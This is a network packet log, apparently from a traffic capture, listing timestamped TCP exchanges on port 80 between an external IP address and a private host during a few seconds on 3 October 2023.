Oct 3, 2023 09:55:16.291106939 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.291129112 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.291203022 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.291263103 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.291299105 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.291371107 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.291414022 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.291435957 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.291493893 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.291532993 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.291555882 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.291604042 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.291665077 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.293350935 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.293406963 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.293467999 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.293648005 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.293780088 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.293843985 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.294058084 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.294135094 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.294195890 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.294228077 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.294303894 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.294353008 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.294363022 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.294466972 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.294503927 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.294527054 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.294615030 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.294682980 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.294714928 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.294785023 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.294821978 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.294841051 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.294926882 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.294986963 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.294998884 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.295109034 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.295147896 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.295162916 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.295186996 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.295224905 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.295234919 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.295500994 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.295553923 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.295591116 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.295754910 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.295793056 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.295808077 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.334949017 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.335027933 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.335175037 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.375508070 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.386288881 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.386356115 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.386568069 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.457905054 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.458079100 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.458163977 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.458236933 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.458261967 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.458275080 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.458343983 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.458373070 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.458440065 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.458458900 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.458528996 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.458586931 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.458630085 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.458663940 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.458723068 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.458782911 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.458895922 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.458933115 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.458957911 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.459012032 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.459079981 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.459101915 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.459213972 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.459275007 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.459300995 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.459405899 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.459467888 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.459482908 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.459553003 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.459610939 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.459657907 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.459747076 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.459808111 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.460364103 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.460424900 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.460485935 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.460540056 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.460609913 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.460669041 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.460899115 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.460975885 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.461034060 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.461261988 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.461350918 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.461409092 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.461411953 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.461513042 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.461549997 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.461572886 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.461627007 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.461708069 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.461730003 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.461744070 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.461798906 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.461843014 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.461879969 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.461935043 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.461949110 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.462018967 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.462074995 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.462112904 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.462328911 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.462384939 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.462400913 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.462618113 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.462678909 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.462687016 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.502374887 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.502414942 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.502446890 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.502487898 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.502547979 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.502567053 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.502645969 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.502684116 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.502698898 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.502754927 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.502808094 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.502846956 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.502918005 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.502968073 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.502979994 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.503068924 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.503118992 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.503124952 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.503200054 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.503251076 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.503304958 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.503375053 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.503426075 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.503436089 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.503554106 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.503603935 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.503632069 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.503669024 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.503720045 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.503740072 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.503829956 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.503879070 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.503906965 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.504245043 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.504297972 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.504312992 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.504419088 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.504503965 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.504537106 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.504575014 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.504626989 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.504627943 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.504731894 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.504787922 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.504873991 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.504945993 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.505007029 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.505057096 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.505131960 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.505187035 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.505211115 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.505280018 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.505330086 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.505362988 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.505433083 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.505477905 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.505534887 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.505604982 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.505723000 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.505769014 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.505820990 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.505872011 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.505892038 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.505961895 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.506016016 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.506069899 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.506146908 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.506201029 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.506243944 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.506318092 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.506371975 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.506470919 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.506556034 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.506620884 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.506645918 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.506719112 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.506772041 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.506824970 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.506934881 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.506972075 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.506983042 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.542690039 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.542759895 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.542763948 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.554274082 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.554388046 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.554610014 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.554689884 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.554744005 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.554769039 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.609783888 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.625454903 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.625499964 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.625560045 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.625617027 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.625751972 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.625791073 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.625818014 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.625859976 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.625896931 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.625919104 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.625935078 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.625989914 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.626004934 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.626072884 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.626108885 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.626130104 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.626178980 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.626235962 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.626319885 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.626653910 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.626691103 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.626708984 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.626754999 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.626791954 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.626810074 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.626936913 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.626976013 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.627012014 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.627015114 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.627048969 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.627065897 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.627119064 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.627156019 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.627171040 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.627192020 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.627247095 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.627278090 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.627314091 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.627371073 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.627382040 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.627418995 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.627471924 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.627531052 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.627599955 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.627662897 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.627667904 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.627705097 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.627764940 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.627774000 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.627841949 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.627899885 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.627947092 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.628048897 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.628103971 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.628128052 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.628418922 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.628479958 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.629141092 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.629180908 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.629240990 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.629328966 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.629443884 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.629482031 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.629506111 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.629559040 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.629636049 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.630479097 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.630517006 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.630637884 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.630646944 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.630685091 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.630723000 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.630745888 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.630791903 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.630852938 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.630861044 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.630953074 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.630990982 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.631014109 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.631067991 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.631129980 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.631191969 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.631263018 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.631319046 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.631371975 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.631439924 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.631500006 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.631584883 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.631747961 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.631786108 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.631803989 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.631916046 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.631972075 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.632005930 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.632469893 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.632525921 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.632569075 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.632678986 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.632741928 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.632751942 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.632822990 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.632880926 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.632925987 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.632978916 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.633038998 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.633049965 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.633383036 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.633438110 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.633440018 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.633475065 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.633543015 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.633568048 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.633686066 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.633739948 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.633786917 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.633825064 CEST	80	49843	193.149.185.139	192.168.2.3
Oct 3, 2023 09:55:16.633878946 CEST	49843	80	192.168.2.3	193.149.185.139
Oct 3, 2023 09:55:16.633893967 CEST	80	49843	193.149.185.139	192.168.2.3
